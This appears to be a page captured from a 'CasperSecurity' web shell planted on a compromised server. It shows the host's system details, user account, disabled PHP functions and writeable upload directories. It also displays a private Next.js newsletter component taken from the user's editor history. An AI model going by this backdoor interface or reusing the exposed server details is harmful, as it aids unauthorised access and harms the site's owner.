T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/.cursor-server/data/User/History/-5e132e90/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/.cursor-server/data/User/History/-5e132e90/wjFh.tsx
'use client';

import LayoutWithSidebar from '../components/LayoutWithSidebar';
import SEO from '@/components/SEO';
import Link from 'next/link';
import { useState, useEffect } from 'react';
import { useSession } from 'next-auth/react';
import { motion } from 'framer-motion';
import { usePublicNotifications } from '@/context/PublicNotificationContext';
import PublicCaseFeed from '../components/PublicCaseFeed';
import toast from 'react-hot-toast';

// Newsletter Signup Component
function NewsletterSignupForm({ isMobile }: { isMobile: boolean }) {
  const [email, setEmail] = useState('');
  const [isSubmitting, setIsSubmitting] = useState(false);
  const [language, setLanguage] = useState('en');

  const handleSubmit = async (e: React.FormEvent) => {
    e.preventDefault();
    
    if (!email || !email.includes('@')) {
      toast.error('Please enter a valid email address');
      return;
    }

    setIsSubmitting(true);

    try {
      const response = await fetch('/api/public/newsletter/subscribe', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ 
          email, 
          language,
          source: 'homepage'
        }),
      });

      const data = await response.json();

      if (response.ok) {
        toast.success('🎉 Successfully subscribed to case updates!', {
          duration: 5000,
          position: 'top-right',
        });
        setEmail('');
      } else {
        if (response.status === 409) {
          toast.success('✅ You\'re already subscribed to updates!', {
            duration: 4000,
            position: 'top-right',
          });
        } else {
          toast.error(data.message || 'Failed to subscribe. Please try again.');
        }
      }
    } catch (error) {
      toast.error('Network error. Please try again.');
    } finally {
      setIsSubmitting(false);
    }
  };

  return (
    <form onSubmit={handleSubmit} className={`max-w-lg mx-auto ${isMobile ? 'space-y-3' : 'space-y-4'}`}>
      <div className={`flex ${isMobile ? 'flex-col space-y-3' : 'flex-col sm:flex-row'} gap-3`}>
        <div className="flex-1">
          <input
            type="email"
            value={email}
            onChange={(e) => setEmail(e.target.value)}
            placeholder="Enter your email address"
            className={`w-full rounded-lg border-0 text-gray-900 placeholder-gray-500 focus:ring-2 focus:ring-white ${isMobile ? 'px-4 py-3 text-base' : 'px-5 py-4 text-lg'}`}
            disabled={isSubmitting}
            required
          />
        </div>
        <div>
          <select
            value={language}
            onChange={(e) => setLanguage(e.target.value)}
            className={`rounded-lg border-0 text-gray-900 focus:ring-2 focus:ring-white ${isMobile ? 'w-full px-4 py-3 text-base' : 'px-4 py-4 text-lg'}`}
            disabled={isSubmitting}
          >
            <option value="en">🇺🇸 English</option>
            <option value="fr">🇫🇷 Français</option>
          </select>
        </div>
        <button
          type="submit"
          disabled={isSubmitting || !email}
          className={`bg-white text-blue-600 rounded-lg font-bold shadow-lg hover:bg-gray-100 disabled:opacity-50 disabled:cursor-not-allowed transition-all duration-200 ${isMobile ? 'w-full px-6 py-3 text-base' : 'px-8 py-4 text-lg'}`}
        >
          {isSubmitting ? '⏳ Subscribing...' : '📧 Subscribe'}
        </button>
      </div>
    </form>
  );
} 

CasperSecurity Mini